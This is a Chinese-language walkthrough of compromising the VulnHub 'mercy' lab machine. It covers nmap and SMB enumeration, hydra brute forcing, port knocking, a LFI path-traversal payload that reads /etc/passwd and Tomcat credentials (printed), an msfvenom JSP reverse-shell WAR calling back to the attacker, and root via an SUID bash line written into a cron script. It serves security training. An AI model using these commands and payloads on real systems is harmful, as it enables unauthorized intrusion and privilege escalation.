vulnhub靶场之【digital world.local系列】的mercy靶机

admin 2025年3月6日15:44:46评论5 views字数 4592阅读15分18秒阅读模式

前言

靶机:digitalworld.local-mercy,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者在本公众号回复 digital 获取下载链接

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

vulnhub靶场之【digital world.local系列】的mercy靶机

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp
vulnhub靶场之【digital world.local系列】的mercy靶机

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp
vulnhub靶场之【digital world.local系列】的mercy靶机

把前面扫描出的tcp、udp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
grep open nmap-udp.nmap | grep -v "open|filtered" | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=53,110,139,143,445,993,995,8080,123,137
vulnhub靶场之【digital world.local系列】的mercy靶机

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail
vulnhub靶场之【digital world.local系列】的mercy靶机
vulnhub靶场之【digital world.local系列】的mercy靶机
vulnhub靶场之【digital world.local系列】的mercy靶机

对特定的端口号进行漏洞检测,前面端口的检测,基本上都是在中间人攻击时,数据传输的问题

这里对于http服务进行了简单的枚举

nmap --script=vuln 192.168.10.11 -p $ports -oA vuln
vulnhub靶场之【digital world.local系列】的mercy靶机

网站信息收集

还是从网站开始下手进行

访问8080端口的界面,查看页面源代码,无信息暴露,不过在文章最后提到两个地址,是可以访问的,不过需要认证,也就是登录

vulnhub靶场之【digital world.local系列】的mercy靶机

访问manager界面

vulnhub靶场之【digital world.local系列】的mercy靶机

访问host-manager界面

vulnhub靶场之【digital world.local系列】的mercy靶机

使用gobuster进行目录爆破,也可以使用其他工具,如dirb、dirsearch

gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404
vulnhub靶场之【digital world.local系列】的mercy靶机

与之前使用nmap脚本时,枚举的差不多,这里主要就是robots.txt文件

访问robots.txt文件,发现一个路径

vulnhub靶场之【digital world.local系列】的mercy靶机

访问/tryharder/tryharder,发现是某种编码处理后的数据

vulnhub靶场之【digital world.local系列】的mercy靶机

根据特性,可能是base64编码,使用命令进行解码处理

echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d 
vulnhub靶场之【digital world.local系列】的mercy靶机

这里可以看到,解码后是一段内容,主要就是弱密码的问题,这里提示password,就是弱密码了

这里尝试之前的两个界面去登录测试,发现并不可取,啧,直接进行爆破也是可以,不过暂时继续收集信息

smb信息收集

使用enum4linux进行枚举,发现几个用户和共享

enum4linux -a 192.168.10.11
vulnhub靶场之【digital world.local系列】的mercy靶机
vulnhub靶场之【digital world.local系列】的mercy靶机

使用nmap的脚本进行探测

nmap --script=smb* 192.168.10.11
vulnhub靶场之【digital world.local系列】的mercy靶机
vulnhub靶场之【digital world.local系列】的mercy靶机

根据已知信息,进行汇集

用户名有pleadformercy、qiu、fluffy、thisisasuperduperlonguser

密码有一个暴露的提示,不知是否可用password,不过这也提示可能是弱密码

现在无ssh服务,可以进行密码爆破的有两处,一个是http的基本认证和smb的爆破

漏洞寻找

先进行爆破测试,把之前获取的用户名保存在user文件

hydra -L user -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.10.11 smb
vulnhub靶场之【digital world.local系列】的mercy靶机

这里可以看到,爆破出的密码和给出的密码是一样的,都是password

以这个账户去登录测试

smbclient //192.168.10.11/qiu -U qiu
vulnhub靶场之【digital world.local系列】的mercy靶机

把所有内容下载到kali

prompt  #关闭交互,这样下载时,默认选择yes
recurce  #开启递归,把文件夹中的文件也会下载
mget *  #下载所有内容
vulnhub靶场之【digital world.local系列】的mercy靶机
vulnhub靶场之【digital world.local系列】的mercy靶机

查看所有文件,寻找有无可用信息

访问.private目录时,发现有信息,这里可能有东西

vulnhub靶场之【digital world.local系列】的mercy靶机

关键配置文件泄露

最终在opensesame目录下的config文件发现好多配置

首先就是端口的开启与关闭,采用开门的形式,这里是对http80端口和ssh22端口的配置

vulnhub靶场之【digital world.local系列】的mercy靶机

先开启吧,这里可以使用knocknc按照序列即可开启端口

nc 192.168.10.11 159
nc 192.168.10.11 27391
nc 192.168.10.11 4
vulnhub靶场之【digital world.local系列】的mercy靶机

再开启22端口,一定要按照序列的顺序

knock 192.168.10.11 17301 28504 9999
vulnhub靶场之【digital world.local系列】的mercy靶机

后面的配置信息都是apache2smb的一些信息,并未透露什么敏感信息

那么访问80端口,只有这个信息,并且查看页面源代码也没有信息

vulnhub靶场之【digital world.local系列】的mercy靶机

和前面的8080端口网站一样,访问robots.txt文件试试有没有

vulnhub靶场之【digital world.local系列】的mercy靶机

发现两个路径/mercy、nomercy,访问mercy,发现是一段话,并且可能无用

vulnhub靶场之【digital world.local系列】的mercy靶机

访问nomercy,这可能是一个cms,并且在测试时,点击按钮无反应,并且界面中显示出了可能是cms的名称和版本信息

vulnhub靶场之【digital world.local系列】的mercy靶机

使用whatweb进行探测,确实如此

whatweb http://192.168.10.11/nomercy
vulnhub靶场之【digital world.local系列】的mercy靶机

漏洞利用

使用searchsploit搜索有无漏洞可利用,有一个

vulnhub靶场之【digital world.local系列】的mercy靶机

查看这个文档,两个可能,不过看来都像是文件包含

vulnhub靶场之【digital world.local系列】的mercy靶机

一个个的测试,先测试/windows/code.php

http://192.168.10.11/nomercy/windows/code.php?file=../../../../../../etc/passwd
vulnhub靶场之【digital world.local系列】的mercy靶机

这个也行,但是显示结果只有一行

http://192.168.10.11/nomercy/windows/function.php?file=../../../../../../etc/passwd
vulnhub靶场之【digital world.local系列】的mercy靶机

尝试进行远程文件包含测试,发现并不行,虽然远程文件是包含了,但是作为php相当于没有被解析

目前还有个8080端口的配置文件可以包含查看一下,其他文件尝试包含并不行

之前在8080端口的默认网站的最下面,提示到了这个用户方面的配置文件的位置/etc/tomcat7/tomcat-users.xml

直接包含这个文件进行查看,获取两组,不过从配置来看thisisasuperduperlonguser权限更大

vulnhub靶场之【digital world.local系列】的mercy靶机
用户名
密码
thisisasuperduperlonguser
heartbreakisinevitable
fluffy
freakishfluffybunny

通过war文件反弹shell

登录后,发现有部署war文件,那么就需要测试

vulnhub靶场之【digital world.local系列】的mercy靶机

使用msfenvm生成一个脚本

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.6 LPORT=9999 -f war -o shell.war

kali中使用nc监听对应的端口

nc -lvnp 9999

然后部署后,点击部署的名称shell,即可获取到反弹shell

vulnhub靶场之【digital world.local系列】的mercy靶机

水平提权

在这里折腾了一会,就没截图,直接切换fluffy用户,所用的密码就是在tomcat的配置文件中发现的两组用户,为什么能切换,首先就是确认了系统中有这个用户,然后就是测试是否存在一个密码多用的情况

vulnhub靶场之【digital world.local系列】的mercy靶机

fluffy的家目录下的一个文件夹中,发现一个疑似定时任务的脚本,所属者为root,并且这个文件别人是可以修改的

vulnhub靶场之【digital world.local系列】的mercy靶机

就先添加一句,因为目前不确定

echo "chmod +s /bin/bash" >> timeclock

靶机内信息收集

收集系统内核及系统版本

uname -a/-r
cat /etc/issue
cat /etc/*release
vulnhub靶场之【digital world.local系列】的mercy靶机

查看网络连接状态

ip add
ss -antlp
vulnhub靶场之【digital world.local系列】的mercy靶机

查看以root执行的进程

ps aux | grep root
vulnhub靶场之【digital world.local系列】的mercy靶机

上传pspy64脚本,发现无法执行,上传les.sh脚本,发现几个可能性高的漏洞

vulnhub靶场之【digital world.local系列】的mercy靶机
vulnhub靶场之【digital world.local系列】的mercy靶机

但是因为靶机内没有gcccc,所以我测试前面可能性较高的都无法执行后,就放弃了

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null
vulnhub靶场之【digital world.local系列】的mercy靶机

垂直提权至root

这里测试sudo -l也是对当前用户无用的,这里的/bin/bash让我确信,是前面的定时脚本任务执行了

echo "chmod +s /bin/bash" >> timeclock

就是这个在前面先输入进去的

执行语句进行提权,然后查看/root下的证明

/bin/bash -p
vulnhub靶场之【digital world.local系列】的mercy靶机

总结

该靶机考察以下几点:

  1. 一个常见的robots.txt泄露敏感目录
  2. 常见的编码,这里是base64
  3. smb服务的连接,以及文件的下载
  4. 端口敲门服务,需要特定的序列顺序
  5. 识别cms并得知其漏洞,这里就是文件包含漏洞,但是配合tomcat的用户配置文件的位置泄露,导致获取到关键信息
  6. 对于tomcatwar文件部署,通过msfvenom生成脚本文件,并获取反弹shell
  7. 水平提权时,用户可能存在一码多用的情况
  8. 提权至root时,收集到一个疑似定时任务的脚本,尝试写入语句,最终成功执行了。不过这里没找到定时任务的内容,啧。

原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场之【digital world.local系列】的mercy靶机

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月6日15:44:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶场之【digital world.local系列】的mercy靶机https://cn-sec.com/archives/3804941.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息